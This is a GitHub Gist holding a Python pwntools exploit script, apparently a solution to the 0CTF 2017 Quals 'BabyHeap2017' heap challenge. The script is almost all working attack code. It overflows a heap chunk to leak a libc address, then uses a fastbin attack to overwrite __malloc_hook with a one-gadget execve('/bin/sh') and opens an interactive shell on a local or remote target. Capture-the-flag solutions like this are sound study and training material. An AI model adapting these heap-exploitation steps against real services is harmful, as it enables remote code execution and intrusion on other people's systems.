Created
August 13, 2017 22:03
-
-
Save sferrini/dccdf727fe8f0c896787a993f93ab2cc to your computer and use it in GitHub Desktop.
0CTF 2017 Quals - BabyHeap2017
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
import sys | |
# 0CTF Quals - 2017 | |
# Task: BabyHeap2017 - 250 pts | |
# Author: Simone Ferrini | |
def choose(c): | |
r.recvuntil('Command: ') | |
r.sendline(str(c)) | |
def allocate(size): | |
choose(1) | |
r.recvuntil('Size: ') | |
r.sendline(str(size)) | |
return int(r.recvline()[15:-1]) | |
def allocate_no_recv(size): | |
choose(1) | |
r.recvuntil('Size: ') | |
r.sendline(str(size)) | |
def fill(idx, size, content): | |
choose(2) | |
r.recvuntil('Index: ') | |
r.sendline(str(idx)) | |
r.recvuntil('Size: ') | |
r.sendline(str(size)) | |
r.recvuntil('Content: ') | |
r.send(str(content)) | |
def free(idx): | |
choose(3) | |
r.recvuntil('Index: ') | |
r.sendline(str(idx)) | |
def dump(idx): | |
choose(4) | |
r.recvuntil('Index: ') | |
r.sendline(str(idx)) | |
def exit(): | |
choose(5) | |
def leak_libc_address(): | |
# allocate some chunks: | |
fast_size_x20 = 0x18 # max for 0x20 bytes chunks | |
a = allocate(fast_size_x20) # will overflow | |
b = allocate(fast_size_x20) # will become the overlapping chunk | |
c = allocate(200) # target leak smallchunk | |
dummy = allocate(200) # dummy smallchunk | |
payload_size = fast_size_x20 + 1 + 7 | |
payload_size += 120 + 1 | |
payload = 'A' * fast_size_x20 + '\x81' + '\x00' * 7 | |
payload += 'A' * 120 + '\x81' | |
# partial override the "b" size, to make it bigger | |
fill(a, payload_size, payload) | |
# free the overflown chunk to make it go to the correct fastbit | |
free(b) | |
# allocate the new "overlapping" chunk | |
overlapping = allocate(120) | |
# recreate back the "c" chunk metadata | |
fill(overlapping, 32, 'A' * (32 - 8) + '\xD1' + '\x00' * 7) | |
# free the "c" chunk to poputate fd/bk pointers | |
free(c) | |
# leak the libc address | |
dump(overlapping) | |
return u64(r.recvuntil('Allocate')[42:42 + 8]) | |
def fast_bin_attack(libc_address): | |
fast_chunk_size = 0x68 # max for 0x70 bytes chunks | |
dummy = allocate(fast_chunk_size) # to clean previous mess | |
a = allocate(fast_chunk_size) | |
b = allocate(fast_chunk_size) | |
free(b) | |
payload_size = fast_chunk_size | |
payload_size += 1 + 7 | |
payload_size += 8 | |
payload = 'A' * fast_chunk_size | |
payload += '\x71' + '\x00' * 7 # for fast_chunk_size = 0x68 | |
malloc_hook = libc_address + 0x003c4b10 | |
malloc_hook_fixed = malloc_hook - 0x23 | |
payload += p64(malloc_hook_fixed) # address returned by malloc | |
fill(a, payload_size, payload) | |
dummy = allocate(fast_chunk_size) | |
controlled = allocate(fast_chunk_size) | |
execve_bin_sh = libc_address + 0x4526a | |
fill(controlled, 19 + 8, '\x00' * 19 + p64(execve_bin_sh)) | |
allocate_no_recv(10) | |
def exploit(r): | |
libc_leak = leak_libc_address() | |
print "[+] libc_leak: " + hex(libc_leak) | |
libc_address = libc_leak - 0x3C4B78 | |
print "[+] libc_address: " + hex(libc_address) | |
print "[+] pwning..." | |
fast_bin_attack(libc_address) | |
r.interactive() | |
if __name__ == "__main__": | |
log.info("For remote: %s HOST PORT" % sys.argv[0]) | |
if len(sys.argv) > 1: | |
r = remote(sys.argv[1], int(sys.argv[2])) | |
exploit(r) | |
else: | |
r = process(['0ctfbabyheap']) | |
print util.proc.pidof(r) | |
pause() | |
exploit(r) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment